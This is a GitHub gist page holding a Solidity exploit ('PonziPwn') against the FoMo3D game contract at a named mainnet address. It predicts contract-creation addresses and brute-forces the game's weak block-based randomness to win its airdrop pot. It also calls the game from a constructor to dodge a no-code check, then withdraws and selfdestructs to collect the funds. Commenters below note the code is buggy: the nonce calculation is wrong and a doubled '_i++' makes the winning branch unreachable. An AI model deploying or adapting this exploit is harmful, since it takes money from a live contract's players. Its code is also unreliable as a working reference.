Last active
September 9, 2018 16:46
-
-
Save rayeaster/1d543246a7eeefe09bd1048907d624e9 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
more readable format | |
pragma solidity ^0.4.24; | |
interface FoMo3DlongInterface { | |
function airDropTracker_() external returns (uint256); | |
function airDropPot_() external returns (uint256); | |
function withdraw() external; | |
} | |
/* | |
* Contract addresses are deterministic. | |
* We find out how many deployments it'll take to get a winning contract address | |
* then deploy blank contracts until we get to the second last number of deployments to generate a successful address. | |
*/ | |
contract BlankContract { | |
constructor() public {} | |
} | |
//contract which will win the airdrop | |
contract AirDropWinner { | |
//point to Fomo3d Contract | |
FoMo3DlongInterface private fomo3d = FoMo3DlongInterface(0xA62142888ABa8370742bE823c1782D17A0389Da1); | |
/* | |
* 0.1 ether corresponds the amount to send to Fomo3D for a chance at winning the airDrop | |
* This is sent within the constructor to bypass a modifier that checks for blank code from the message sender | |
* As during construction a contract's code is blank. | |
* We then withdraw all earnings from fomo3d and selfdestruct to returns all funds to the main exploit contract. | |
*/ | |
constructor() public { | |
if(!address(fomo3d).call.value(0.1 ether)()) { | |
fomo3d.withdraw(); | |
selfdestruct(msg.sender); | |
} | |
} | |
} | |
contract PonziPwn { | |
FoMo3DlongInterface private fomo3d = FoMo3DlongInterface(0xA62142888ABa8370742bE823c1782D17A0389Da1); | |
address private admin; | |
uint256 private blankContractGasLimit = 20000; | |
uint256 private pwnContractGasLimit = 250000; | |
//gasPrice you'll use during the exploit | |
uint256 private gasPrice = 10; | |
uint256 private gasPriceInWei = gasPrice*1e9; | |
//cost of deploying each contract | |
uint256 private blankContractCost = blankContractGasLimit*gasPrice ; | |
uint256 private pwnContractCost = pwnContractGasLimit*gasPrice; | |
uint256 private maxAmount = 10 ether; | |
modifier onlyAdmin() { | |
require(msg.sender == admin); | |
_; | |
} | |
constructor() public { | |
admin = msg.sender; | |
} | |
function checkPwnData() private returns(uint256,uint256,address) { | |
//The address that a contract deployed by this contract will have | |
address _newSender = address(keccak256(abi.encodePacked(0xd6, 0x94, address(this), 0x01))); | |
uint256 _nContracts = 0; | |
uint256 _pwnCost = 0; | |
uint256 _seed = 0; | |
uint256 _tracker = fomo3d.airDropTracker_(); | |
bool _canWin = false; | |
while(!_canWin) { | |
/* | |
* How the seed if calculated in fomo3d. | |
* We input a new address each time until we get to a winning seed. | |
*/ | |
_seed = uint256(keccak256(abi.encodePacked( | |
(block.timestamp) + | |
(block.difficulty) + | |
((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)) + | |
(block.gaslimit) + | |
((uint256(keccak256(abi.encodePacked(_newSender)))) / (now)) + | |
(block.number) | |
))); | |
//Tally number of contract deployments that'll result in a win. | |
//We tally the cost of deploying blank contracts. | |
if((_seed - ((_seed / 1000) * 1000)) >= _tracker) { | |
_newSender = address(keccak256(abi.encodePacked(0xd6, 0x94, _newSender, 0x01))); | |
_nContracts++; | |
_pwnCost+= blankContractCost; | |
} else { | |
_canWin = true; | |
//Add the cost of deploying a contract that will result in the winning of an airdrop | |
_pwnCost += pwnContractCost; | |
} | |
} | |
return (_pwnCost,_nContracts,_newSender); | |
} | |
function deployContracts(uint256 _nContracts,address _newSender) private { | |
/* | |
* deploy blank contracts until the final index at which point we first send ETH to the pregenerated address then deploy | |
* an airdrop winning contract which will have that address; | |
*/ | |
for(uint256 _i; _i < _nContracts; _i++) { | |
if(_i++ == _nContracts) { | |
address(_newSender).call.value(0.1 ether)(); | |
new AirDropWinner(); | |
} | |
new BlankContract(); | |
} | |
} | |
//main method | |
function beginPwn() public onlyAdmin() { | |
uint256 _pwnCost; | |
uint256 _nContracts; | |
address _newSender; | |
(_pwnCost, _nContracts,_newSender) = checkPwnData(); | |
//check that the cost of executing the attack will make it worth it | |
if(_pwnCost + 0.1 ether < maxAmount) { | |
deployContracts(_nContracts,_newSender); | |
} | |
} | |
//allows withdrawal of funds after selfdestructing of a child contract which return funds to this contract | |
function withdraw() public onlyAdmin() { | |
admin.transfer(address(this).balance); | |
} | |
} |
计算sender地址的部分 应该是nonce 每次加1. 还有这个函数,第一次计算就成功,_nContracts = 0;下面代码就不执行,为什么i++后比较_nContracts,是不是故意写错的
function deployContracts(uint256 _nContracts,address _newSender) private {
/*
* deploy blank contracts until the final index at which point we first send ETH to the pregenerated address then deploy
* an airdrop winning contract which will have that address;
*/
for(uint256 _i; _i < _nContracts; _i++) {
if(_i++ == _nContracts) {
address(_newSender).call.value(0.1 ether)();
new AirDropWinner();
}
new BlankContract();
}
}
这个合约beginPwn 也只能调一次,第二次就不对了。nonce已经不是1了
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Does operator ++ in line 107 make sense? It seems the condition could not be fulfilled.